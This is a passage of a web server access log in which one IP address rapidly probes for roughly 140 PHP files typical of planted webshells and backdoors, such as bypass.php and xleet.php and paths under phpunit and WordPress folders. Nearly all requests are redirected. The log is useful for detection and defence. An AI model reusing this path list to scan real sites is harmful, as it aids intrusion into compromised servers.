+0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:13 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:14 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:15 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:16 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:17 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:18 +0300] "GET 